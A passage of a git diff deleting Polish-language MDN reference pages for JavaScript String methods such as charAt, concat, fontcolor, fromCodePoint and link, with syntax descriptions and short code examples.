
Następujący przykład stosuje metodę string do zmiany rozmiaru łańcucha znaków:

- -
var worldString="Witaj, Świecie";
-
-console.log(worldString.blink());   // <blink>Witaj, Świecie</blink>
-console.log(worldString.bold());    // <bold>Witaj, Świecie</bold>
-console.log(worldString.italics()); // <i>Witaj, Świecie</i>
-console.log(worldString.strike());  // <s>Witaj, Świecie</s>
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/charat/index.html b/files/pl/web/javascript/referencje/obiekty/string/charat/index.html deleted file mode 100644 index 30ce5303c2..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/charat/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: String.prototype.charAt() -slug: Web/JavaScript/Referencje/Obiekty/String/charAt -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca określony znak z łańcucha znaków.

- -

Składnia

- -
str.charAt(index)
- -

Parametry

- -
-
index 
-
Liczba całkowita z przedziału od 0 do liczby o 1 mniejszej od długości łańcucha.
-
- -

Opis

- -

Znaki w łańcuchu znaków są indeksowane od lewej do prawej strony. Indeksem pierwszego znaku jest 0, a indeksem ostatniego znaku w łańcuchu znaków o nazwie stringName jest stringName.length - 1. Jeśli dostarczona wartość parametru index znajduje się poza zakresem, JavaScript zwróci pusty łańcuch znaków.

- -

Przykłady

- -

Przykład: Wyświetlanie różnych znaków z określonego łańcucha znaków

- -

Poniższy przykład wyświetla różne znaki łańcucha "Brave new world":

- -
var anyString="Brave new world";
-
-console.log("Znakiem o indeksie 0   jest '" + anyString.charAt(0)   + "'");
-console.log("Znakiem o indeksie 1   jest '" + anyString.charAt(1)   + "'");
-console.log("Znakiem o indeksie 2   jest '" + anyString.charAt(2)   + "'");
-console.log("Znakiem o indeksie 3   jest '" + anyString.charAt(3)   + "'");
-console.log("Znakiem o indeksie 4   jest '" + anyString.charAt(4)   + "'");
-console.log("Znakiem o indeksie 999 jest '" + anyString.charAt(999) + "'");
-
- -

Powyższy kod wyświetli:

- -
Znakiem o indeksie 0   jest 'B'
-Znakiem o indeksie 1   jest 'r'
-Znakiem o indeksie 2   jest 'a'
-Znakiem o indeksie 3   jest 'v'
-Znakiem o indeksie 4   jest 'e'
-Znakiem o indeksie 999 jest ''
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html b/files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html deleted file mode 100644 index 21c7822f12..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: String.prototype.charCodeAt() -slug: Web/JavaScript/Referencje/Obiekty/String/charCodeAt -tags: - - JavaScript - - Method - - Prototype - - String - - Unicode -translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca liczbę oznaczającą wartość Unicode znaku o podanym indeksie.

- -

Składnia

- -
str.charCodeAt(index)
- -

Parametry

- -
-
index 
-
Liczba całkowita z przedziału od 0 do liczby o 1 mniejszej od długości łańcucha.
-
- -

Opis

- -

Wartości Unicode mieszczą się w zakresie od 0 do 65535. Pierwsze 128 wartości Unicode jest takie same jak w zbiorze znaków ASCII. Aby dowiedzieć się więcej o Unicode, zobacz Przewodnik po języku JavaScript.

- -

Zgodność wsteczna: JavaScript 1.2 — Metoda charCodeAt zwraca liczbę wskazującą wartość ze zbioru kodowania ISO-Latin-1 znaku o podanym indeksie. Zbiór kodowania ISO-Latin-1 posiada zakres od 0 do 255. Znaki od 0 do 127 są identyczne, co te w zbiorze znaków ASCII.

- -

Przykłady

- -

Przykład: Zastosowanie charCodeAt()

- -

Następujący przykład zwróci 65, wartość A w Unicode.

- -
"ABC".charCodeAt(0); // zwróci 65
-
diff --git a/files/pl/web/javascript/referencje/obiekty/string/concat/index.html b/files/pl/web/javascript/referencje/obiekty/string/concat/index.html deleted file mode 100644 index b4361f0fd7..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/concat/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: String.prototype.concat() -slug: Web/JavaScript/Referencje/Obiekty/String/concat -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/concat ---- -

{{JSRef}}

- -

Podsumowanie

- -

Łączy tekst dwóch lub więcej łańcuchów znaków i zwraca nowy łańcuch.

- -

Składnia

- -
str.concat(string2, string3[, ..., stringN])
- -

Parametry

- -
-
string2...string - N -  
-
Łańcuchy znaków mające być dołączone do tego łańcucha.
-
- -

Opis

- -

concat() łączy tekst jednego lub więcej łańcuchów znaków i zwraca nowy łańcuch znaków. Zmiana tekstu w jednym łańcuchu znaków nie ma wpływu na drugi łańcuch.

- -

Przykłady

- -

Przykład: Zastosowanie concat()

- -

Następujący przykład łączy łańcuchy znaków w nowy łańcuch znaków.

- -
var s1="Och, ";
-var s2="jaki piękny ";
-var s3="poranek.";
-var s4=s1.concat(s2,s3); // zwraca "Och, jaki piękny poranek."
-
diff --git a/files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html b/files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html deleted file mode 100644 index 0cc7fa1ccc..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: String.prototype.fontcolor() -slug: Web/JavaScript/Referencje/Obiekty/String/fontcolor -tags: - - Deprecated - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/fontcolor ---- -
{{JSRef}} {{deprecated_header}}
- -

Podsumowanie

- -

Powoduje, iż łańcuch zostanie wyświetlony podanym kolorem tak jakby był wewnątrz znacznika {{HTMLElement("font")}}.

- -

Składnia

- -
str.fontcolor(color)
- -

Parametry

- -
-
color 
-
Łańcuch znaków wyrażający kolor jako trójka heksadecymalna RGB lub jako łańcuch znaków. Lista nazw w postaci łańcucha znaków dla kolorów jest dostępna w przewodniku po języku JavaScript 1.5.
-
- -

Opis

- -

Jeśli wyrażamy kolor w postaci trójki heksadecymalnej RGB, to musisz zastosować format rrggbb. Na przykład, wartość heksadecymalna koloru łososiowego składa się z red=FA, green=80 i blue=72, więc trójka RGB dla łososiowego będzie miała wartość "FA8072".

- -

Przykłady

- -

Przykład: Zastosowanie fontcolor()

- -

Następujący przykład stosuje metodę string do zmiany koloru łańcucha znaków:

- -
var worldString="Witaj, Świecie";
-
-console.log(worldString.fontcolor("red") + " jest koloru czerwonego w tej linii");
-// <font color="red">Witaj, Świecie</font> jest koloru czerwonego w tej linii
-
-console.log(worldString.fontcolor("FF00") +" linia jest czerwona i podany kolor heksadecymalny");
-// <font color="FF00">Witaj, Świecie</font> linia jest czerwona i podany kolor heksadecymalny
-
- -
 
- -

 

diff --git a/files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html b/files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html deleted file mode 100644 index 3de3c5bb4c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: String.prototype.fontsize() -slug: Web/JavaScript/Referencje/Obiekty/String/fontsize -tags: - - Deprecated - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/fontsize ---- -

{{JSRef}}{{ Non-standard_header() }}

- -

Podsumowanie

- -

Powoduje wyświetlenie łańcucha znaków w określonym rozmiarze czcionki, tak jak to było w znaczniku {{HTMLElement("font")}}.

- -

Składnia

- -
str.fontsize(size)
- -

Parametry

- -
-
size 
-
Liczba całkowita pomiędzy 1 a 7, łańcuch znaków reprezentujący rozmiar znaku liczby całkowitej między 1 a 7.
-
- -

Opis

- -

Kiedy określisz rozmiar jako liczbę całkowitą, ustaw rozmiar stringName na jeden z 7 innych rozmiarów. Kiedy określisz size łańcucha znaków jako "-2", to dostosujesz rozmiar czcionki stringName relatywnie do rozmiaru jaki został ustawiony w znaczniku {{HTMLElement("basefont")}}.

- -

Przykłady

- -

Przykład: Zastosowanie fontsize()

- -
var worldString = "Witaj, Świecie";
-
-console.log(worldString.small());     // <small>Witaj, Świecie</small>
-console.log(worldString.big());       // <big>Witaj, Świecie</big>
-console.log(worldString.fontsize(7)); // <fontsize=7>Witaj, Świecie</fontsize>
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html b/files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html deleted file mode 100644 index 7d00613db2..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: String.fromCharCode() -slug: Web/JavaScript/Referencje/Obiekty/String/fromCharCode -tags: - - JavaScript - - Method - - String - - Unicode -translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków stworzony przez podaną sekwencję kodów Unicode.

- -

Składnia

- -
String.fromCharCode(num1[, ...[, numN]])
- -

Parametry

- -
-
num1, ..., numN  
-
Sekwencja liczb, które są wartościami Unicode.
-
- -

Opis

- -

Ta metoda zwraca łańcuch znaków nie będący {{jsxref("String")}}.

- -

Ponieważ fromCharCode() jest metodą statyczną {{jsxref("String")}}, używaj ją zawsze jako String.fromCharCode(), a nie jako metodę obiektu {{jsxref("String")}}.

- -

Przykłady

- -

Przykład: Zastosowanie fromCharCode()

- -

Następujący przykład zwraca łańcuch znaków "ABC".

- -
String.fromCharCode(65,66,67); // "ABC"
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html b/files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html deleted file mode 100644 index a8c17af7f1..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: String.fromCodePoint() -slug: Web/JavaScript/Referencje/Obiekty/String/fromCodePoint -translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCodePoint ---- -
{{JSRef}}
- -

The static String.fromCodePoint() method returns a string created by using the specified sequence of code points.

- -
{{EmbedInteractiveExample("pages/js/string-fromcodepoint.html","shorter")}}
- - - -

Syntax

- -
String.fromCodePoint(num1[, ...[, numN]])
- -

Parameters

- -
-
num1, ..., numN
-
A sequence of code points.
-
- -

Return value

- -

A string created by using the specified sequence of code points.

- -

Exceptions

- - - -

Description

- -

This method returns a string (and not a {{jsxref("String")}} object).

- -

Because fromCodePoint() is a static method of {{jsxref("String")}}, you must call it as String.fromCodePoint(), rather than as a method of a {{jsxref("String")}} object you created.

- -

Polyfill

- -

The String.fromCodePoint() method has been added to ECMAScript 2015 and may not be supported in all web browsers or environments yet.

- -

Use the code below for a polyfill:

- -
if (!String.fromCodePoint) (function(stringFromCharCode) {
-    var fromCodePoint = function(_) {
-      var codeUnits = [], codeLen = 0, result = "";
-      for (var index=0, len = arguments.length; index !== len; ++index) {
-        var codePoint = +arguments[index];
-        // correctly handles all cases including `NaN`, `-Infinity`, `+Infinity`
-        // The surrounding `!(...)` is required to correctly handle `NaN` cases
-        // The (codePoint>>>0) === codePoint clause handles decimals and negatives
-        if (!(codePoint < 0x10FFFF && (codePoint>>>0) === codePoint))
-          throw RangeError("Invalid code point: " + codePoint);
-        if (codePoint <= 0xFFFF) { // BMP code point
-          codeLen = codeUnits.push(codePoint);
-        } else { // Astral code point; split in surrogate halves
-          // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
-          codePoint -= 0x10000;
-          codeLen = codeUnits.push(
-            (codePoint >> 10) + 0xD800,  // highSurrogate
-            (codePoint % 0x400) + 0xDC00 // lowSurrogate
-          );
-        }
-        if (codeLen >= 0x3fff) {
-          result += stringFromCharCode.apply(null, codeUnits);
-          codeUnits.length = 0;
-        }
-      }
-      return result + stringFromCharCode.apply(null, codeUnits);
-    };
-    try { // IE 8 only supports `Object.defineProperty` on DOM elements
-      Object.defineProperty(String, "fromCodePoint", {
-        "value": fromCodePoint, "configurable": true, "writable": true
-      });
-    } catch(e) {
-      String.fromCodePoint = fromCodePoint;
-    }
-}(String.fromCharCode));
-
- -

Examples

- -

Using fromCodePoint()

- -

Valid input:

- -
String.fromCodePoint(42);       // "*"
-String.fromCodePoint(65, 90);   // "AZ"
-String.fromCodePoint(0x404);    // "\u0404" == "Є"
-String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
-String.fromCodePoint(194564);   // "\uD87E\uDC04"
-String.fromCodePoint(0x1D306, 0x61, 0x1D307); // "\uD834\uDF06a\uD834\uDF07"
-
- -

Invalid input:

- -
String.fromCodePoint('_');      // RangeError
-String.fromCodePoint(Infinity); // RangeError
-String.fromCodePoint(-1);       // RangeError
-String.fromCodePoint(3.14);     // RangeError
-String.fromCodePoint(3e-2);     // RangeError
-String.fromCodePoint(NaN);      // RangeError
-
- -

Compared to fromCharCode()

- -

{{jsxref("String.fromCharCode()")}} cannot return supplementary characters (i.e. code points 0x0100000x10FFFF) by specifying their code point. Instead, it requires the UTF-16 surrogate pair in order to return a supplementary character:

- -
String.fromCharCode(0xD83C, 0xDF03); // Code Point U+1F303 "Night with
-String.fromCharCode(55356, 57091);   // Stars" == "\uD83C\uDF03"
-
- -

String.fromCodePoint(), on the other hand, can return 4-byte supplementary characters, as well as the more common 2-byte BMP characters, by specifying their code point (which is equivalent to the UTF-32 code unit):

- -
String.fromCodePoint(0x1F303); // or 127747 in decimal
-
- -

Specifications

- - - - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}
- -

Browser compatibility

- - - -

{{Compat("javascript.builtins.String.fromCodePoint")}}

- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/index.html b/files/pl/web/javascript/referencje/obiekty/string/index.html deleted file mode 100644 index ff27fbc81a..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/index.html +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: String -slug: Web/JavaScript/Referencje/Obiekty/String -tags: - - JavaScript - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String ---- -

{{JSRef}}

- -

Podsumowanie

- -

Tworzy obiekt pozwalający działać na ciągach znaków.

- -

Składnia

- -

Literały znakowe są postaci:

- -
'string text'
-"string text"
-"中文 español English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ்"
-
- -

Beside regular, printable characters, special characters can be encoded using escape notation:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CodeOutput
\0the NUL character
\'single quote
\"double quote
\\backslash
\nnew line
\rcarriage return
\vvertical tab
\ttab
\bbackspace
\fform feed
\uXXXXunicode codepoint
\xXXthe Latin-1 character
- -

Or, using the String global object directly:

- -
String(thing)
-new String(thing)
-
- -

Parametry

- -
-
thing
-
Dowolny łańcuch znaków.
-
- -

Opis

- -

trings are useful for holding data that can be represented in text form. Some of the most-used operations on strings are to check their {{jsxref("String.length", "length")}}, to build and concatenate them using the + and += string operators, checking for the existence or location of substrings with the {{jsxref("String.prototype.indexOf()", "indexOf()")}} method, or extracting substrings with the {{jsxref("String.prototype.substring()", "substring()")}} method.

- -

Character access

- -

There are two ways to access an individual character in a string. The first is the {{jsxref("String.prototype.charAt()", "charAt()")}} method:

- -
return 'cat'.charAt(1); // returns "a"
- -
- -

The other way (introduced in ECMAScript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index:

- -
return 'cat'[1]; // returns "a"
- -
- -

For character access using bracket notation, attempting to delete or assign a value to these properties will not succeed. The properties involved are neither writable nor configurable. (See {{jsxref("Object.defineProperty()")}} for more information.)

- -

Comparing strings

- -

C developers have the strcmp() function for comparing strings. In JavaScript, you just use the less-than and greater-than operators:

- -
var a = 'a';
-var b = 'b';
-if (a < b) { // true
-  print(a + ' is less than ' + b);
-} else if (a > b) {
-  print(a + ' is greater than ' + b);
-} else {
-  print(a + ' and ' + b + ' are equal.');
-}
- -

A similar result can be achieved using the {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} method inherited by String instances.

- -

Distinction between string primitives and String objects

- -

Note that JavaScript distinguishes between String objects and primitive string values. (The same is true of {{jsxref("Global_Objects/Boolean", "Boolean")}} and {{jsxref("Global_Objects/Number", "Numbers")}}.)

- -

String literals (denoted by double or single quotes) and strings returned from String calls in a non-constructor context (i.e., without using the {{jsxref("Operators/new", "new")}} keyword) are primitive strings. JavaScript automatically converts primitives to String objects, so that it's possible to use String object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs, JavaScript will automatically wrap the string primitive and call the method or perform the property lookup.

- -
var s_prim = 'foo';
-var s_obj = new String(s_prim);
-
-console.log(typeof s_prim); // Logs "string"
-console.log(typeof s_obj);  // Logs "object"
- -
- -

String primitives and String objects also give different results when using {{jsxref("Global_Objects/eval", "eval()")}}. Primitives passed to eval are treated as source code; String objects are treated as all other objects are, by returning the object. For example:

- -
var s1 = '2 + 2';             // creates a string primitive
-var s2 = new String('2 + 2'); // creates a String object
-console.log(eval(s1));        // returns the number 4
-console.log(eval(s2));        // returns the string "2 + 2"
- -

For these reasons, code may break when it encounters String objects when it expects a primitive string instead, although generally authors need not worry about the distinction.

- -

A String object can always be converted to its primitive counterpart with the {{jsxref("String.prototype.valueOf()", "valueOf()")}} method.

- -
console.log(eval(s2.valueOf())); // returns the number 4
- -
Note: For another possible approach to strings in JavaScript, please read the article about StringView — a C-like representation of strings based on typed arrays.
- -

Własności

- -
-
{{jsxref("String.prototype")}}
-
Pozwala na dodawanie własności do obiektu String.
-
- -
{{jsOverrides("Function", "Properties", "prototype")}}
- -

Metody

- -
-
{{jsxref("String.fromCharCode()")}}
-
Zwraca łańcuch znaków stworzony przez podaną sekwencję kodów Unicode.
-
{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}
-
Returns a string created by using the specified sequence of code points.
-
{{jsxref("String.raw()")}} {{experimental_inline}}
-
Returns a string created from a raw template string.
-
- -
{{jsOverrides("Function", "Methods", "fromCharCode", "fromCodePoint", "raw")}}
- -

Przykłady

- -

Example: String conversion

- -

It's possible to use String as a "safer" {{jsxref("String.prototype.toString()", "toString()")}} alternative, as although it still normally calls the underlying toString(), it also works for {{jsxref("null")}} and {{jsxref("undefined")}}. For example:

- -
var outputStrings = [];
-for (var i = 0, n = inputValues.length; i < n; ++i) {
-  outputStrings.push(String(inputValues[i]));
-}
diff --git a/files/pl/web/javascript/referencje/obiekty/string/italics/index.html b/files/pl/web/javascript/referencje/obiekty/string/italics/index.html deleted file mode 100644 index 016a400805..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/italics/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: String.prototype.italics() -slug: Web/JavaScript/Referencje/Obiekty/String/italics -tags: - - Deprecated - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/italics ---- -

{{JSRef}}{{deprecated_header}}

- -

Podsumowanie

- -

Powoduje, iż łańcuch zostanie wyświetlony kursywą tak jakby był wewnątrz znacznika {{HTMLElement("i")}}.

- -

Składnia

- -
str.italics()
- -

Opis

- -

The italics() method embeds a string in an <i> tag: "<i>str</i>".

- -

Przykłady

- -

Przykład: Zastosowanie metody italics()

- -

Następujący przykład stosuje metodę string do zmiany formatowania łańcucha znakowego:

- -
var worldString="Witaj, Świecie";
-
-console.log(worldString.blink());   // <blink>Witaj, Świecie</blink>
-console.log(worldString.bold());    // <bold>Witaj, Świecie</bold>
-console.log(worldString.italics()); // <i>Witaj, Świecie</i>
-console.log(worldString.strike());  // <s>Witaj, Świecie</s>
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/link/index.html b/files/pl/web/javascript/referencje/obiekty/string/link/index.html deleted file mode 100644 index 6d8baeb078..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/link/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: String.prototype.link() -slug: Web/JavaScript/Referencje/Obiekty/String/link -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/link ---- -

{{JSRef}}

- -

Podsumowanie

- -

Tworzy łącze hipertekstowe, które wywołuje inny URL.

- -

Składnia

- -
str.link(url)
- -

Parametry

- -
-
url
-
Jakikolwiek łańcuch określony w href ze znacznika a; powinien być umieszczany poprawny URL (relatywny lub absolutny).
-
- -

Opis

- -

Linki tworzymy poprzez metodę link stającą się elementami tablicy links z obiektu document. Zobacz document.links.

- -

Przykłady

- - - -

Następujący przykład wyświetla słowo "MDN" jako odnośnik hipertekstowy, poprzez który użytkownik będzie mógł przejść na stronę domową Netscape:

- -
var hotText="MDN";
-var URL="https://developer.mozilla.org/";
-
-console.log("Kliknij, aby powrócić do " + hotText.link(URL));
-// Kliknij, aby powrócić do <a href="https://developer.mozilla.org">MDN</a>
-
diff --git a/files/pl/web/javascript/referencje/obiekty/string/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/string/prototype/index.html deleted file mode 100644 index 7785d0b34b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/prototype/index.html +++ /dev/null @@ -1,221 +0,0 @@ ---- -title: String.prototype -slug: Web/JavaScript/Referencje/Obiekty/String/prototype -tags: - - JavaScript - - Property - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String -translation_of_original: Web/JavaScript/Reference/Global_Objects/String/prototype ---- -

{{JSRef}}

- -

Podsumowanie

- -

Reprezentuje prototyp obiektów danej klasy. Pozwala na dodawanie własności i metod do wszystkich instancji tej klasy.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Wszystkie instancje {{jsxref("Global_Objects/String", "String")}} dziedziczą z  String.prototype. Zmiany w prototypie obiektu String są propagowane do wszystkich instancji {{jsxref("Global_Objects/String", "String")}}.

- -

Własności

- -
-
String.prototype.constructor
-
Oznacza funkcję, która tworzy prototyp obiektu.
-
{{jsxref("String.prototype.length")}}
-
Odzwierciedla długość łańcucha znaków.
-
N
-
Używane celem uzyskania dostępu do znaku na pozycji N-tej gdzie  N jest dodatnią liczbą całkowitą między 0 a o jeden mniejszą od {{jsxref("String.length", "length")}}. Własności te są tylko do odczytu.
-
- -

Metody

- -

Metody niezwiązane z HTML

- -
-
{{jsxref("String.prototype.charAt()")}}
-
Zwraca znak o podanym indeksie.
-
{{jsxref("String.prototype.charCodeAt()")}}
-
Zwraca liczbę oznaczającą wartość Unicode znaku o podanym indeksie.
-
{{jsxref("String.prototype.codePointAt()")}} {{experimental_inline}}
-
Returns a non-negative integer that is the UTF-16 encoded code point value at the given position.
-
{{jsxref("String.prototype.concat()")}}
-
Łączy dwa łańcuchy znaków i zwraca nowy łańcuch.
-
{{jsxref("String.prototype.includes()")}} {{experimental_inline}}
-
Determines whether one string may be found within another string.
-
{{jsxref("String.prototype.endsWith()")}} {{experimental_inline}}
-
Determines whether a string ends with the characters of another string.
-
{{jsxref("String.prototype.indexOf()")}}
-
Zwraca indeks pierwszego wystąpienia podanego znaku w obiekcie String lub -1, gdy niczego nie znaleziono.
-
{{jsxref("String.prototype.lastIndexOf()")}}
-
Zwraca indeks ostatniego wystąpienia podanego znaku w obiekcie String lub -1, gdy niczego nie znaleziono.
-
{{jsxref("String.prototype.localeCompare()")}}
-
Returns a number indicating whether a reference string comes before or after or is the same as the given string in sort order.
-
{{jsxref("String.prototype.match()")}}
-
Używane do porównania wyrażenia regularnego z łańcuchem znaków.
-
{{jsxref("String.prototype.normalize()")}} {{experimental_inline}}
-
Returns the Unicode Normalization Form of the calling string value.
-
{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}
-
Wraps the string in double quotes (""").
-
{{jsxref("String.prototype.repeat()")}} {{experimental_inline}}
-
Returns a string consisting of the elements of the object repeated the given times.
-
{{jsxref("String.prototype.replace()")}}
-
Używane do znalezienia podobieństwa pomiędzy wyrażeniem regularnym a łańcuchem znaków, a następnie do podmiany znalezionego podłańcucha nowym podłańcuchem.
-
{{jsxref("String.prototype.search()")}}
-
Uruchamia wyszukiwanie podobieństwa pomiędzy wyrażeniem regularnym a podanym łańcuchem.
-
{{jsxref("String.prototype.slice()")}}
-
Wyciąga kawałek łańcucha i zwraca nowy łańcuch.
-
{{jsxref("String.prototype.split()")}}
-
Dzieli obiekt {{jsxref("String")}} na tablicę łańcuchów poprzez dzielenie łańcucha na podłańcuchy.
-
{{jsxref("String.prototype.startsWith()")}} {{experimental_inline}}
-
Determines whether a string begins with the characters of another string.
-
{{jsxref("String.prototype.substr()")}}
-
Zwraca podłańcuch znaków z łańcucha, zaczynający się w podanym miejscu i podanej długości znaków.
-
{{jsxref("String.prototype.substring()")}}
-
Zwraca znaki w podłańcuchu pomiędzy dwoma indeksami w łańcuchu.
-
{{jsxref("String.prototype.toLocaleLowerCase()")}}
-
The characters within a string are converted to lower case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.
-
{{jsxref("String.prototype.toLocaleUpperCase()")}}
-
The characters within a string are converted to upper case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}.
-
{{jsxref("String.prototype.toLowerCase()")}}
-
Zwraca wywołujący łańcuch skonwertowany do małych liter.
-
{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}}
-
Zwraca literał obiektu reprezentujący podany obiekt; możesz użyć tej wartości do utworzenia nowego obiektu. Przesłania metodę {{jsxref("Object.prototype.toSource()")}}.
-
{{jsxref("String.prototype.toString()")}}
-
Zwraca łańcuch reprezentujący podany obiekt. Przesłania metodę {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("String.prototype.toUpperCase()")}}
-
Zwraca wywołujący łańcuch skonwertowany do wielkich liter.
-
{{jsxref("String.prototype.trim()")}}
-
Trims whitespace from the beginning and end of the string. Part of the ECMAScript 5 standard.
-
{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}
-
Trims whitespace from the left side of the string.
-
{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}
-
Trims whitespace from the right side of the string.
-
{{jsxref("String.prototype.valueOf()")}}
-
Zwraca wartość prymitywną podanego obiektu. Przesłania metodę {{jsxref("Object.prototype.valueOf()")}}.
-
{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}} {{experimental_inline}}
-
Returns a new Iterator object that iterates over the code points of a String value, returning each code point as a String value.
-
- -

Metody związane z HTML

- -

These methods are of limited use, as they provide only a subset of the available HTML tags and attributes.

- -
-
{{jsxref("String.prototype.anchor()")}}
-
{{htmlattrxref("name", "a", "<a name=\"name\">")}} (hypertext target)
-
{{jsxref("String.prototype.big()")}} {{deprecated_inline}}
-
{{HTMLElement("big")}}
-
{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}
-
{{HTMLElement("blink")}}
-
{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}
-
{{HTMLElement("b")}}
-
{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}
-
{{HTMLElement("tt")}}
-
{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}
-
{{htmlattrxref("color", "font", "<font color=\"color\">")}}
-
{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}
-
{{htmlattrxref("size", "font", "<font size=\"size\">")}}
-
{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}
-
{{HTMLElement("i")}}
-
{{jsxref("String.prototype.link()")}}
-
{{htmlattrxref("href", "a", "<a href=\"rul\">")}} (link to URL)
-
{{jsxref("String.prototype.small()")}} {{deprecated_inline}}
-
{{HTMLElement("small")}}
-
{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}
-
{{HTMLElement("strike")}}
-
{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}
-
{{HTMLElement("sub")}}
-
{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}
-
{{HTMLElement("sup")}}
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition.
{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ES6')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/repeat/index.html b/files/pl/web/javascript/referencje/obiekty/string/repeat/index.html deleted file mode 100644 index 76bf932753..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/repeat/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: String.prototype.repeat() -slug: Web/JavaScript/Referencje/Obiekty/String/repeat -translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat ---- -
{{JSRef}}
- -

The repeat() method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together.

- -

Składnia
